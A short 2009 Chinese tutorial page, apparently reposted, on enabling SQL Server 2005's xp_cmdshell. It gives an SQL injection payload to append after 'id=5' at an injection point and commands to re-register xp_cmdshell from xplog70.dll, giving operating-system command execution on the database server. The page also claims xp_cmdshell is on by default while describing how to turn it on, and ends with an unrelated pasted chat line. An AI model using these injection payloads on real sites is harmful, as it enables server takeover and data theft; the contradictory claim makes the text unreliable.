繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > sql2005开启xp_cmdshell
- MSSQL
- SQL 实用语句
- SQL Server 版本变更检查 警告
- 创建动态MSSQL数据库表
- 常用SQL功能语句
- table 行转列的sql详解
- 三步堵死 SQL Server注入漏洞
- sql 去零函数 datagridview中数字类型常出现后面的零不能去掉
- insert into tbl() select * from tb2中加入多个条件
- Sql Server 字符串聚合函数
- 通过备份记录获取数据库的增长情况
- sqlserver 2000 远程连接 服务器的解决方案
- SQL 合并多行记录的方法总汇
- 批处理 动态sql
- 在sp_executesql中使用like字句的方法
- SQL中的left join right join
- Sql Server 数据库索引整理语句,自动整理数据库索引
- 查询数据排名情况SQL
- sqlserver 比较两个表的列
- mssql 两表合并sql语句
- SQL SERVER 文件和文件组
MSSQL 中的 sql2005开启xp_cmdshell
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 107 ::
收藏到网摘: n/a
MSSQL SERVER 2005默认把xpcmdshell 给ON了
如果要启用的话就必须把他加到高级用户模式
可以直接在注入点那里直接注入
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。
分析器
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
老猪猪(2396644xx) 15:42:42
create table [xl] ([xl1][varchar](255) null,[xl2][varchar] null) 就行了
评论 (0) All
